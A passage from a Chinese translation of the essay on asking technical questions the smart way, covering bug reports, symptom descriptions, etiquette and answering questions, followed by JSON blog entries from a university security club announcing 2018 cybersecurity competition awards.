Bug。提示:除非你能提供解决问题的源代码补丁,或者提供回归测试来表明前一版本中行为不正确,否则你都多半不够完全确信。这同样适用在网页和文件,如果你(声称)发现了文件的Bug,你应该能提供相应位置的修正或替代文件。 请记得,还有其他许多用户没遇到你发现的问题,否则你在阅读文件或搜索网页时就应该发现了(你在抱怨前已经做了这些,是吧?)。这也意味着很有可能是你弄错了而不是软件本身有问题。 编写软件的人总是非常辛苦地使它尽可能完美。如果你声称找到了 Bug,也就是在质疑他们的能力,即使你是对的,也有可能会冒犯到其中某部分人。当你在标题中嚷嚷着有Bug时,这尤其严重。 提问时,即使你私下非常确信已经发现一个真正的 Bug,最好写得像是你做错了什么。如果真的有 Bug,你会在回复中看到这点。这样做的话,如果真有 Bug,维护者就会向你道歉,这总比你惹恼别人然后欠别人一个道歉要好一点。 低声下气不能代替你的功课 有些人明白他们不该粗鲁或傲慢的提问并要求得到答复,但他们选择另一个极端 —— 低声下气:我知道我只是个可悲的新手,一个撸瑟,但...。这既使人困扰,也没有用,尤其是伴随着与实际问题含糊不清的描述时更令人反感。 别用原始灵长类动物的把戏来浪费你我的时间。取而代之的是,尽可能清楚地描述背景条件和你的问题情况。这比低声下气更好地定位了你的位置。 有时网页论坛会设有专为新手提问的版面,如果你真的认为遇到了初学者的问题,到那去就是了,但一样别那么低声下气。 描述问题症状而非你的猜测 告诉黑客们你认为问题是怎样造成的并没什么帮助。(如果你的推断如此有效,还用向别人求助吗?),因此要确信你原原本本告诉了他们问题的症状,而不是你的解释和理论;让黑客们来推测和诊断。如果你认为陈述自己的猜测很重要,清楚地说明这只是你的猜测,并描述为什么它们不起作用。 蠢问题 我在编译内核时接连遇到 SIG11 错误, 我怀疑某条飞线搭在主板的走线上了,这种情况应该怎样检查最好? 聪明问题 我的组装电脑是 FIC-PA2007 主机板搭载 AMD K6/233 CPU(威盛 Apollo VP2 芯片组), 256MB Corsair PC133 SDRAM 内存,在编译内核时,从开机 20 分钟以后就频频产生 SIG11 错误, 但是在头 20 分钟内从没发生过相同的问题。重新启动也没有用,但是关机一晚上就又能工作 20 分钟。 所有内存都换过了,没有效果。相关部分的标准编译记录如下… 由于以上这点似乎让许多人觉得难以配合,这里有句话可以提醒你:所有的诊断专家都来自密苏里州。 美国国务院的官方座右铭则是:让我看看(出自国会议员 Willard D. Vandiver 在 1899 年时的讲话:我来自一个出产玉米,棉花,牛蒡和民主党人的国家,滔滔雄辩既不能说服我,也不会让我满意。我来自密苏里州,你必须让我看看。) 针对诊断者而言,这并不是一种怀疑,而只是一种真实而有用的需求,以便让他们看到的是与你看到的原始证据尽可能一致的东西,而不是你的猜测与归纳的结论。所以,大方地展示给我们看吧! 按发生时间先后列出问题症状 问题发生前的一系列操作,往往就是对找出问题最有帮助的线索。因此,你的说明里应该包含你的操作步骤,以及机器和软件的反应,直到问题发生。在命令行处理的情况下,提供一段操作记录(例如运行脚本工具所生成的),并引用相关的若干行(如 20 行)记录会非常有帮助。 如果挂掉的程序有诊断选项(如 -v 的详述开关),试着选择这些能在记录中增加调试信息的选项。记住,多不等于好。试着选取适当的调试级别以便提供有用的信息而不是让读者淹没在垃圾中。 如果你的说明很长(如超过四个段落),在开头简述问题,接下来再按时间顺序详述会有所帮助。这样黑客们在读你的记录时就知道该注意哪些内容了。 描述目标而不是过程 如果你想弄清楚如何做某事(而不是报告一个 Bug),在开头就描述你的目标,然后才陈述重现你所卡住的特定步骤。 经常寻求技术帮助的人在心中有个更高层次的目标,而他们在自以为能达到目标的特定道路上被卡住了,然后跑来问该怎么走,但没有意识到这条路本身就有问题。结果要费很大的劲才能搞定。 蠢问题 我怎样才能从某绘图程序的颜色选择器中取得十六进制的 RGB 值? 聪明问题 我正试着用替换一幅图片的色码(color table)成自己选定的色码,我现在知道的唯一方法是编辑每个色码区块(table slot), 但却无法从某绘图程序的颜色选择器取得十六进制的 RGB 值。 第二种提问法比较聪明,你可能得到像是建议采用另一个更合适的工具的回复。 别要求使用私人电邮回复 黑客们认为问题的解决过程应该公开、透明,此过程中如果更有经验的人注意到不完整或者不当之处,最初的回复才能够、也应该被纠正。同时,作为提供帮助者可以得到一些奖励,奖励就是他的能力和学识被其他同行看到。 当你要求私下回复时,这个过程和奖励都被中止。别这样做,让回复者来决定是否私下回答 —— 如果他真这么做了,通常是因为他认为问题编写太差或者太肤浅,以至于不可能使其他人产生兴趣。 这条规则存在一条有限的例外,如果你确信提问可能会引来大量雷同的回复时,那么这个神奇的提问句会是向我发电邮,我将为论坛归纳这些回复。试着将邮件列表或新闻群组从洪水般的雷同回复中解救出来是非常有礼貌的 —— 但你必须信守诺言。 清楚明确地表达你的问题以及需求 漫无边际的提问是近乎无休无止的时间黑洞。最有可能给你有用答案的人通常也正是最忙的人(他们忙是因为要亲自完成大部分工作)。这样的人对无节制的时间黑洞相当厌恶,所以他们也倾向于厌恶那些漫无边际的提问。 如果你明确表述需要回答者做什么(如提供指点、发送一段代码、检查你的补丁、或是其他等等),就最有可能得到有用的答案。因为这会定出一个时间和精力的上限,便于回答者能集中精力来帮你。这么做很棒。 要理解专家们所处的世界,请把专业技能想像为充裕的资源,而回复的时间则是稀缺的资源。你要求他们奉献的时间越少,你越有可能从真正专业而且很忙的专家那里得到解答。 所以,界定一下你的问题,使专家花在辨识你的问题和回答所需要付出的时间减到最少,这技巧对你获得有用的答案相当有帮助 —— 但这技巧通常和简化问题有所区别。因此,问我想更好地理解 X,可否指点一下哪有好一点说明?通常比问你能解释一下 X 吗?更好。如果你的代码不能运作,通常请别人看看哪里有问题,比要求别人替你改正要明智得多。 询问有关代码的问题时 如果没有提示别人应该从何入手,别要求他人帮你调试有问题的代码。张贴几百行的代码,然后说一声:它不能工作会让你完全被忽略。只贴几十行代码,然后说一句:在第七行以后,我期待它显示 <x>,但实际出现的是 <y>比较有可能让你得到回应。 最有效描述程序问题的方法是提供最精简的 Bug 展示测试用例(bug-demonstrating test case)。什么是最精简的测试用例?那是问题的缩影;一小个程序片段能刚好展示出程序的异常行为,而不包含其他令人分散注意力的内容。怎么制作最精简的测试用例?如果你知道哪一行或哪一段代码会造成异常的行为,复制下来并加入足够重现这个状况的代码(例如,足以让这段代码能被编译/直译/被应用程序处理)。如果你无法将问题缩减到一个特定区块,就复制一份代码并移除不影响产生问题行为的部分。总之,测试用例越小越好(查看话不在多而在精一节)。 一般而言,要得到一段相当精简的测试用例并不太容易,但永远先尝试这样做是一个好习惯。这种方式可以帮助你了解如何自行解决这个问题 —— 而且即使你的尝试不成功,黑客们也会看到你在尝试取得答案的过程中付出了努力,这可以让他们更愿意与你合作。 如果你只是想让别人帮忙审查(Review)一下代码,在信的开头就要说出来,并且一定要提到你认为哪一部分特别需要关注以及为什么。 别把自己家庭作业的问题贴上来 黑客们很擅长分辨哪些问题是家庭作业式的问题;因为我们中的大多数都曾自己解决这类问题。同样,这些问题得由你来搞定,你会从中学到东西。你可以要求给点提示,但别要求得到完整的解决方案。 如果你怀疑自己碰到了一个家庭作业式的问题,但仍然无法解决,试试在用户群组,论坛或(最后一招)在项目的用户邮件列表或论坛中提问。尽管黑客们会看出来,但一些有经验的用户也许仍会给你一些提示。 去掉无意义的提问句 避免用无意义的话结束提问,例如有人能帮我吗?或者这有答案吗?。 首先:如果你对问题的描述不是很好,这样问更是画蛇添足。 其次:由于这样问是画蛇添足,黑客们会很厌烦你 —— 而且通常会用逻辑上正确,但毫无意义的回答来表示他们的蔑视, 例如:没错,有人能帮你或者不,没答案。 一般来说,避免用 是或否、对或错、有或没有类型的问句,除非你想得到是或否类型的回答。 即使你很急也不要在标题写紧急 这是你的问题,不是我们的。宣称紧急极有可能事与愿违:大多数黑客会直接删除无礼和自私地企图即时引起关注的问题。更严重的是,紧急这个字(或是其他企图引起关注的标题)通常会被垃圾信过滤器过滤掉 —— 你希望能看到你问题的人可能永远也看不到。 有半个例外的情况是,如果你是在一些很高调,会使黑客们兴奋的地方,也许值得这样去做。在这种情况下,如果你有时间压力,也很有礼貌地提到这点,人们也许会有兴趣回答快一点。 当然,这风险很大,因为黑客们兴奋的点多半与你的不同。譬如从 NASA 国际空间站(International Space Station)发这样的标题没有问题,但用自我感觉良好的慈善行为或政治原因发肯定不行。事实上,张贴诸如紧急:帮我救救这个毛茸茸的小海豹!肯定让你被黑客忽略或惹恼他们,即使他们认为毛茸茸的小海豹很重要。 如果你觉得这点很不可思议,最好再把这份指南剩下的内容多读几遍,直到你弄懂了再发文。 礼多人不怪,而且有时还很有帮助 彬彬有礼,多用请和谢谢您的关注,或谢谢你的关照。让大家都知道你对他们花时间免费提供帮助心存感激。 坦白说,这一点并没有比使用清晰、正确、精准且合乎语法和避免使用专用格式重要(也不能取而代之)。黑客们一般宁可读有点唐突但技术上鲜明的 Bug 报告,而不是那种有礼但含糊的报告。(如果这点让你不解,记住我们是按问题能教给我们什么来评价问题的价值的) 然而,如果你有一串的问题待解决,客气一点肯定会增加你得到有用回应的机会。 (我们注意到,自从本指南发布后,从资深黑客那里得到的唯一严重缺陷反馈,就是对预先道谢这一条。一些黑客觉得先谢了意味着事后就不用再感谢任何人的暗示。我们的建议是要么先说先谢了,然后事后再对回复者表示感谢,或者换种方式表达感激,譬如用谢谢你的关注或谢谢你的关照。) 问题解决后,加个简短的补充说明 问题解决后,向所有帮助过你的人发个说明,让他们知道问题是怎样解决的,并再一次向他们表示感谢。如果问题在新闻组或者邮件列表中引起了广泛关注,应该在那里贴一个说明比较恰当。 最理想的方式是向最初提问的话题回复此消息,并在标题中包含已修正,已解决或其它同等含义的明显标记。在人来人往的邮件列表里,一个看见讨论串问题 X和问题 X - 已解决的潜在回复者就明白不用再浪费时间了(除非他个人觉得问题 X有趣),因此可以利用此时间去解决其它问题。 补充说明不必很长或是很深入;简单的一句你好,原来是网线出了问题!谢谢大家 – Bill比什么也不说要来的好。事实上,除非结论真的很有技术含量,否则简短可爱的小结比长篇大论更好。说明问题是怎样解决的,但大可不必将解决问题的过程复述一遍。 对于有深度的问题,张贴调试记录的摘要是有帮助的。描述问题的最终状态,说明是什么解决了问题,在此之后才指明可以避免的盲点。避免盲点的部分应放在正确的解决方案和其它总结材料之后,而不要将此信息搞成侦探推理小说。列出那些帮助过你的名字,会让你交到更多朋友。 除了有礼貌和有内涵以外,这种类型的补充也有助于他人在邮件列表/新闻群组/论坛中搜索到真正解决你问题的方案,让他们也从中受益。 至少,这种补充有助于让每位参与协助的人因问题的解决而从中得到满足感。如果你自己不是技术专家或者黑客,那就相信我们,这种感觉对于那些你向他们求助的大师或者专家而言,是非常重要的。问题悬而未决会让人灰心;黑客们渴望看到问题被解决。好人有好报,满足他们的渴望,你会在下次提问时尝到甜头。 思考一下怎样才能避免他人将来也遇到类似的问题,自问写一份文件或加个常见问题(FAQ)会不会有帮助。如果是的话就将它们发给维护者。 在黑客中,这种良好的后继行动实际上比传统的礼节更为重要,也是你如何透过善待他人而赢得声誉的方式,这是非常有价值的资产。 如何解读答案 RTFM 和 STFW:如何知道你已完全搞砸了 有一个古老而神圣的传统:如果你收到RTFM(Read The Fucking Manual)的回应,回答者认为你应该去读他妈的手册。当然,基本上他是对的,你应该去读一读。 RTFM 有一个年轻的亲戚。如果你收到STFW(Search The Fucking Web)的回应,回答者认为你应该到他妈的网上搜索。那人多半也是对的,去搜索一下吧。(更温和一点的说法是 Google 是你的朋友!) 在论坛,你也可能被要求去爬爬论坛的旧文。事实上,有人甚至可能热心地为你提供以前解决此问题的讨论串。但不要依赖这种关照,提问前应该先搜索一下旧文。 通常,用这两句之一回答你的人会给你一份包含你需要内容的手册或者一个网址,而且他们打这些字的时候也正在读着。这些答复意味着回答者认为: 你需要的信息非常容易获得; 你自己去搜索这些信息比灌给你,能让你学到更多。 你不应该因此不爽;依照黑客的标准,他已经表示了对你一定程度的关注,而没有对你的要求视而不见。你应该对他祖母般的慈祥表示感谢。 如果还是搞不懂 如果你看不懂回应,别立刻要求对方解释。像你以前试着自己解决问题时那样(利用手册,FAQ,网络,身边的高手),先试着去搞懂他的回应。如果你真的需要对方解释,记得表现出你已经从中学到了点什么。 比方说,如果我回答你:看来似乎是 zentry 卡住了;你应该先清除它。,然后,这是一个很糟的后续问题回应:zentry 是什么? 好的问法应该是这样:哦~~~我看过说明了但是只有 -z 和 -p 两个参数中提到了 zentries,而且还都没有清楚的解释如何清除它。你是指这两个中的哪一个吗?还是我看漏了什么? 处理无礼的回应 很多黑客圈子中看似无礼的行为并不是存心冒犯。相反,它是直截了当,一针见血式的交流风格,这种风格更注重解决问题,而不是使人感觉舒服而却模模糊糊。 如果你觉得被冒犯了,试着平静地反应。如果有人真的做了出格的事,邮件列表、新闻群组或论坛中的前辈多半会招呼他。如果这没有发生而你却发火了,那么你发火对象的言语可能在黑客社区中看起来是正常的,而你将被视为有错的一方,这将伤害到你获取信息或帮助的机会。 另一方面,你偶尔真的会碰到无礼和无聊的言行。与上述相反,对真正的冒犯者狠狠地打击,用犀利的语言将其驳得体无完肤都是可以接受的。然而,在行事之前一定要非常非常的有根据。纠正无礼的言论与开始一场毫无意义的口水战仅一线之隔,黑客们自己莽撞地越线的情况并不鲜见。如果你是新手或外人,避开这种莽撞的机会并不高。如果你想得到的是信息而不是消磨时光,这时最好不要把手放在键盘上以免冒险。 (有些人断言很多黑客都有轻度的自闭症或亚斯伯格综合症,缺少用于润滑人类社会正常交往所需的神经。这既可能是真也可能是假的。如果你自己不是黑客,兴许你认为我们脑袋有问题还能帮助你应付我们的古怪行为。只管这么干好了,我们不在乎。我们喜欢我们现在这个样子,并且通常对病患标记都有站得住脚的怀疑。) Jeff Bigler 的观察总结和这个相关也值得一读 (tact filters)。 在下一节,我们会谈到另一个问题,当你行为不当时所会受到的冒犯。 如何避免扮演失败者 在黑客社区的论坛中,你以本指南所描述的或类似的方式,可能会有那么几次搞砸了。而你会在公开场合中被告知你是如何搞砸的,也许攻击的言语中还会带点夹七夹八的颜色。 这种事发生以后,你能做的最糟糕的事莫过于哀嚎你的遭遇、宣称被言语攻击、要求道歉、高声尖叫、憋闷气、威胁诉诸法律、向其雇主报怨、不去关马桶盖等等。相反地,你该这么做: 熬过去,这很正常。事实上,它是有益健康且合理的。 社区的标准不会自行维持,它们是通过参与者积极而公开地执行来维持的。不要哭嚎所有的批评都应该通过私下的邮件传送,它不是这样运作的。当有人评论你的一个说法有误或者提出不同看法时,坚持声称受到个人攻击也毫无益处,这些都是失败者的态度。 也有其它的黑客论坛,受过高礼节要求的误导,禁止参与者张贴任何对别人帖子挑毛病的消息,并声称如果你不想帮助用户就闭嘴。 结果造成有想法的参与者纷纷离开,这么做只会使它们沦为毫无意义的唠叨与无用的技术论坛。 夸张的讲法是:你要的是“友善”(以上述方式)还是有用?两个里面挑一个。 记着:当黑客说你搞砸了,并且(无论多么刺耳)告诉你别再这样做时,他正在为关心你和他的社区而行动。对他而言,不理你并将你从他的生活中滤掉更简单。如果你无法做到感谢,至少要表现得有点尊严,别大声哀嚎,也别因为自己是个有戏剧性超级敏感的灵魂和自以为有资格的新来者,就指望别人像对待脆弱的洋娃娃那样对你。 有时候,即使你没有搞砸(或者只是在他的想像中你搞砸了),有些人也会无缘无故地攻击你本人。在这种情况下,抱怨倒是真的会把问题搞砸。 这些来找麻烦的人要么是毫无办法但自以为是专家的不中用家伙,要么就是测试你是否真会搞砸的心理专家。其它读者要么不理睬,要么用自己的方式对付他们。这些来找麻烦的人在给他们自己找麻烦,这点你不用操心。 也别让自己卷入口水战,最好不要理睬大多数的口水战 —— 当然,这是在你检验它们只是口水战,并且未指出你有搞砸的地方,同时也没有巧妙地将问题真正的答案藏于其后(这也是有可能的)。 不该问的问题 以下是几个经典蠢问题,以及黑客没回答时心中所想的: 问题:我能在哪找到 X 程序或 X 资源? 问题:我怎样用 X 做 Y? 问题:如何设定我的 shell 提示? 问题:我可以用 Bass-o-matic 文件转换工具将 AcmeCorp 文件转换为 TeX 格式吗? 问题:我的程序/设定/SQL 语句没有用 问题:我的 Windows 电脑有问题,你能帮我吗? 问题:我的程序不会动了,我认为系统工具 X 有问题 问题:我在安装 Linux(或者 X )时有问题,你能帮我吗? 问题:我怎么才能破解 root 帐号/窃取 OP 特权/读别人的邮件呢? 问题:我能在哪找到 X 程序或 X 资源? 回答:就在我找到它的地方啊,白痴 —— 搜索引擎的那一头。天哪!难道还有人不会用 Google 吗? 问题:我怎样用 X 做 Y? 回答:如果你想解决的是 Y ,提问时别给出可能并不恰当的方法。这种问题说明提问者不但对 X 完全无知,也对 Y 要解决的问题糊涂,还被特定形势禁锢了思维。最好忽略这种人,等他们把问题搞清楚了再说。 问题:如何设定我的 shell 提示?? 回答:如果你有足够的智慧提这个问题,你也该有足够的智慧去 RTFM,然后自己去找出来。 问题:我可以用 Bass-o-matic 文件转换工具将 AcmeCorp 文件转换为 TeX 格式吗? 回答:试试看就知道了。如果你试过,你就知道了答案,就不用浪费我的时间了。 问题:我的{程序/设定/SQL 语句}没有用 回答:这不算是问题吧,我对要我问你二十个问题才找得出你真正问题的问题没兴趣 —— 我有更有意思的事要做呢。在看到这类问题的时候,我的反应通常不外如下三种 你还有什么要补充的吗? 真糟糕,希望你能搞定。 这关我屁事? 问题:我的 Windows 电脑有问题,你能帮我吗? 回答:能啊,扔掉微软的垃圾,换个像 Linux 或 BSD 的开源操作系统吧。 注意:如果程序有官方版 Windows 或者与 Windows 有互动(如 Samba),你可以问与 Windows 相关的问题,只是别对问题是由 Windows 操作系统而不是程序本身造成的回复感到惊讶, 因为 Windows 一般来说实在太烂,这种说法通常都是对的。 问题:我的程序不会动了,我认为系统工具 X 有问题 回答:你完全有可能是第一个注意到被成千上万用户反复使用的系统调用与函数库文件有明显缺陷的人,更有可能的是你完全没有根据。不同凡响的说法需要不同凡响的证据,当你这样声称时,你必须有清楚而详尽的缺陷说明文件作后盾。 问题:我在安装 Linux(或者 X )时有问题,你能帮我吗? 回答:不能,我只有亲自在你的电脑上动手才能找到毛病。还是去找你当地的 Linux 使用群组者寻求实际的指导吧(你能在这儿找到用户群组的清单)。 注意:如果安装问题与某 Linux 的发行版有关,在它的邮件列表、论坛或本地用户群组中提问也许是恰当的。此时,应描述问题的准确细节。在此之前,先用 Linux 和所有被怀疑的硬件作关键词仔细搜索。 问题:我怎么才能破解 root 帐号/窃取 OP 特权/读别人的邮件呢? 回答:想要这样做,说明了你是个卑鄙小人;想找个黑客帮你,说明你是个白痴! 好问题与蠢问题 最后,我将透过举一些例子,来说明怎样聪明的提问;同一个问题的两种问法被放在一起,一种是愚蠢的,另一种才是明智的。 蠢问题: 我可以在哪儿找到关于 Foonly Flurbamatic 的资料? 这种问法无非想得到 STFW 这样的回答。 聪明问题: 我用 Google 搜索过 “Foonly Flurbamatic 2600”,但是没找到有用的结果。谁知道上哪儿去找对这种设备编程的资料? 这个问题已经 STFW 过了,看起来他真的遇到了麻烦。 蠢问题: 我从 foo 项目找来的源码没法编译。它怎么这么烂? 他觉得都是别人的错,这个傲慢自大的提问者。 聪明问题: foo 项目代码在 Nulix 6.2 版下无法编译通过。我读过了 FAQ,但里面没有提到跟 Nulix 有关的问题。这是我编译过程的记录,我有什么做的不对的地方吗? 提问者已经指明了环境,也读过了 FAQ,还列出了错误,并且他没有把问题的责任推到别人头上,他的问题值得被关注。 蠢问题: 我的主机板有问题了,谁来帮我? 某黑客对这类问题的回答通常是:好的,还要帮你拍拍背和换尿布吗?,然后按下删除键。 聪明问题: 我在 S2464 主机板上试过了 X 、 Y 和 Z ,但没什么作用,我又试了 A 、 B 和 C 。请注意当我尝试 C 时的奇怪现象。显然 florbish 正在 grommicking,但结果出人意料。通常在 Athlon MP 主机板上引起 grommicking 的原因是什么?有谁知道接下来我该做些什么测试才能找出问题? 这个家伙,从另一个角度来看,值得去回答他。他表现出了解决问题的能力,而不是坐等天上掉答案。 在最后一个问题中,注意告诉我答案和给我启示,指出我还应该做什么诊断工作之间微妙而又重要的区别。 事实上,后一个问题源自于 2001 年 8 月在 Linux 内核邮件列表(lkml)上的一个真实的提问。我(Eric)就是那个提出问题的人。我在 Tyan S2464 主板上观察到了这种无法解释的锁定现象,列表成员们提供了解决这一问题的重要信息。 通过我的提问方法,我给了别人可以咀嚼玩味的东西;我设法让人们很容易参与并且被吸引进来。我显示了自己具备和他们同等的能力,并邀请他们与我共同探讨。通过告诉他们我所走过的弯路,以避免他们再浪费时间,我也表明了对他们宝贵时间的尊重。 事后,当我向每个人表示感谢,并且赞赏这次良好的讨论经历的时候,一个 Linux 内核邮件列表的成员表示,他觉得我的问题得到解决并非由于我是这个列表中的名人,而是因为我用了正确的方式来提问。 黑客从某种角度来说是拥有丰富知识但缺乏人情味的家伙;我相信他是对的,如果我像个乞讨者那样提问,不论我是谁,一定会惹恼某些人或者被他们忽视。他建议我记下这件事,这直接导致了本指南的出现。 如果得不到回答 如果仍得不到回答,请不要以为我们觉得无法帮助你。有时只是看到你问题的人不知道答案罢了。没有回应不代表你被忽视,虽然不可否认这种差别很难区分。 总的来说,简单地重复张贴问题是个很糟的点子。这将被视为无意义的喧闹。有点耐心,知道你问题答案的人可能生活在不同的时区,可能正在睡觉,也有可能你的问题一开始就没有组织好。 你可以通过其他渠道获得帮助,这些渠道通常更适合初学者的需要。 有许多网上的以及本地的用户群组,由热情的软件爱好者(即使他们可能从没亲自写过任何软件)组成。通常人们组建这样的团体来互相帮助并帮助新手。 另外,你可以向很多商业公司寻求帮助,不论公司大还是小。别为要付费才能获得帮助而感到沮丧!毕竟,假使你的汽车发动机汽缸密封圈爆掉了 —— 完全可能如此 —— 你还得把它送到修车铺,并且为维修付费。就算软件没花费你一分钱,你也不能强求技术支持总是免费的。 对像是 Linux 这种大众化的软件,每个开发者至少会对应到上万名用户。根本不可能由一个人来处理来自上万名用户的求助电话。要知道,即使你要为这些协助付费,和你所购买的同类软件相比,你所付出的也是微不足道的(通常封闭源代码软件的技术支持费用比开源软件的要高得多,且内容也没那么丰富)。 如何更好地回答问题 态度和善一点。 问题带来的压力常使人显得无礼或愚蠢,其实并不是这样。 对初犯者私下回复。 对那些坦诚犯错之人没有必要当众羞辱,一个真正的新手也许连怎么搜索或在哪找常见问题都不知道。 如果你不确定,一定要说出来! 一个听起来权威的错误回复比没有还要糟,别因为听起来像个专家很好玩,就给别人乱指路。要谦虚和诚实,给提问者与同行都树个好榜样。 如果帮不了忙,也别妨碍他。 不要在实际步骤上开玩笑,那样也许会毁了提问者的设置 —— 有些可怜的呆瓜会把它当成真的指令。 试探性的反问以引出更多的细节。 如果你做得好,提问者可以学到点东西 —— 你也可以。试试将蠢问题转变成好问题,别忘了我们都曾是新手。 尽管对那些懒虫抱怨一声 RTFM 是正当的,但能给出文档的链接(即使只是建议个 Google 搜索关键词)会更好。 如果你决定回答,就请给出好的答案。 当别人正在用错误的工具或方法时别建议笨拙的权宜之计(workaround),应推荐更好的工具,重新界定问题。 正面地回答问题! 如果这个提问者已经很深入的研究而且也表明已经试过 X 、 Y 、 Z 、 A 、 B 、 C 但没得到结果,回答 试试看 A 或是 B 或者 试试 X 、 Y 、 Z 、 A 、 B 、 C 并附上一个链接一点用都没有。 帮助你的社区从问题中学习。 当回复一个好问题时,问问自己如何修改相关文件或常见问题文件以免再次解答同样的问题?,接着再向文件维护者发一份补丁。 如果你在研究一番后才作出了回答,展现你的技巧而不是直接端出结果。毕竟授人以鱼不如授人以渔。 相关资源 如果你需要个人电脑、Unix 系统和网络如何运作的基础知识,参阅 Unix 系统和网络基本原理。 当你发布软件或补丁时,试着按软件发布实践操作。 鸣谢 Evelyn Mitchel 贡献了一些愚蠢问题例子并启发了编写如何更好地回答问题这一节, Mikhail Ramendik 贡献了一些特别有价值的建议和改进。 转自GitHub:提问的智慧","categories":[],"tags":[{"name":"提问的智慧","slug":"提问的智慧","permalink":"https://www.xmutsec.cn/tags/%E6%8F%90%E9%97%AE%E7%9A%84%E6%99%BA%E6%85%A7/"}]},{"title":"“百越杯”第四届福建省高校网络空间安全大赛 一等奖","slug":"b6adcea6-60ce-4f44-9389-2a06d34125d8","date":"2018-12-28T09:06:46.000Z","updated":"2024-01-23T02:58:32.706Z","comments":false,"path":"2018/12/28/b6adcea6-60ce-4f44-9389-2a06d34125d8/","link":"","permalink":"https://www.xmutsec.cn/2018/12/28/b6adcea6-60ce-4f44-9389-2a06d34125d8/","excerpt":"","text":"为贯彻落实中央网信办等六部门《关于加强网络安全学科建设和人才培养的意见》(中网办发文〔2016〕4号)精神,加快高校网络安全学科专业建设,创新网络安全人才培养机制,省教育厅、省网安办决定联合举办第三届“福建省高校网络空间安全大赛”。 本协会派出的CodeMonster战队全省第二夺得二等奖。","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"2018 信息安全铁人三项赛全国总决赛 二等奖","slug":"07cb34d3-7c51-43af-bfb2-84425b34c8f4","date":"2018-12-07T09:06:00.000Z","updated":"2024-01-23T02:58:32.690Z","comments":false,"path":"2018/12/07/07cb34d3-7c51-43af-bfb2-84425b34c8f4/","link":"","permalink":"https://www.xmutsec.cn/2018/12/07/07cb34d3-7c51-43af-bfb2-84425b34c8f4/","excerpt":"","text":"网络安全人才培养又有了新动向。12月7日,2017-2018全国高校信息安全铁人三项总决赛在北京航空航天大学盛大开幕,来自全国57所高校的网络安全实战赛队在“数据赛、企业赛、个人赛“三个方向比赛中一决高下,为全国网络安全市场提供了新一批高端人才。","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"举办第二届厦门理工“国科-i春秋杯”网络信息安全大赛","slug":"ab21d401-10e1-4021-9936-e7154fd9ed71","date":"2018-11-11T09:04:20.000Z","updated":"2024-01-23T02:58:32.706Z","comments":false,"path":"2018/11/11/ab21d401-10e1-4021-9936-e7154fd9ed71/","link":"","permalink":"https://www.xmutsec.cn/2018/11/11/ab21d401-10e1-4021-9936-e7154fd9ed71/","excerpt":"","text":"为帮助学生更好地感知、了解身边的网络安全风险,增强网络安全意识,普及网络安全知识,提高网络安全防护技能,厦门理工学院计算机与信息工程学院特此举办“国科-i春秋杯”第二届网络信息安全大赛,以此掀起学生“共建网络信息安全、共享网络文明学校”的热潮。","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"2018 第十一届全国大学生信息安全大赛 三等奖(华东南赛区第4名)","slug":"9806f2d8-b4ad-48d3-ad34-5481b1e8e35b","date":"2018-06-09T09:03:14.000Z","updated":"2024-01-23T02:58:32.706Z","comments":false,"path":"2018/06/09/9806f2d8-b4ad-48d3-ad34-5481b1e8e35b/","link":"","permalink":"https://www.xmutsec.cn/2018/06/09/9806f2d8-b4ad-48d3-ad34-5481b1e8e35b/","excerpt":"","text":"自己去看吧 http://www.ciscn.cn/home","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"2018 信息安全铁人三项赛福建赛区 一等奖(第2名)","slug":"bb168e48-791c-4a1d-83c4-335b9db12499","date":"2018-05-11T09:02:25.000Z","updated":"2024-01-23T02:58:32.706Z","comments":false,"path":"2018/05/11/bb168e48-791c-4a1d-83c4-335b9db12499/","link":"","permalink":"https://www.xmutsec.cn/2018/05/11/bb168e48-791c-4a1d-83c4-335b9db12499/","excerpt":"","text":"2018年5月11日,由教育部学校规划建设发展中心、中国信息安全测评中心主办,教育部高等学校信息安全专业教学指导委员会协办,中国信息产业商会信息安全产业分会、北京西普阳光教育科技股份有限公司、福州大学承办的2017-2018全国高校“西普杯”信息安全铁人三项赛第七分区赛在福州大学拉开帷幕,有来自福建共计21所高校近100名学生同场竞技。经过一天的精彩角逐,福建农林大学力克群雄,夺得第七赛区冠军,厦门理工学院、闽南师范大学分别获得亚军和季军。","categories":[],"tags":[]},{"title":"2018 安恒“西湖论剑杯”全国大学生网络空间安全技能大赛 个人赛三等奖","slug":"86e69101-77f4-484a-ba0e-2957afabbdb6","date":"2018-04-26T09:01:21.000Z","updated":"2024-01-23T02:58:32.706Z","comments":false,"path":"2018/04/26/86e69101-77f4-484a-ba0e-2957afabbdb6/","link":"","permalink":"https://www.xmutsec.cn/2018/04/26/86e69101-77f4-484a-ba0e-2957afabbdb6/","excerpt":"","text":"由国家互联网信息办公室网络安全协调局、公安部网络安全保卫局指导,浙江省互联网信息办公室、浙江省公安厅、杭州市人民政府主办,杭州市经济和信息化委员会、杭州市萧山区人民政府、杭州安恒信息技术股份有限公司承办,杭州市滨江区人民政府、中国信息安全测评中心、国家工业信息安全发展研究中心、国家计算机网络应急技术处理协调中心、阿里云计算有限公司、杭州海康威视数字技术股份有限公司、浙江大华技术股份有限公司联合承办的西湖论剑•网络安全大会定档今年4月27日,西湖论剑杯全国大学生网络空间安全技能大赛 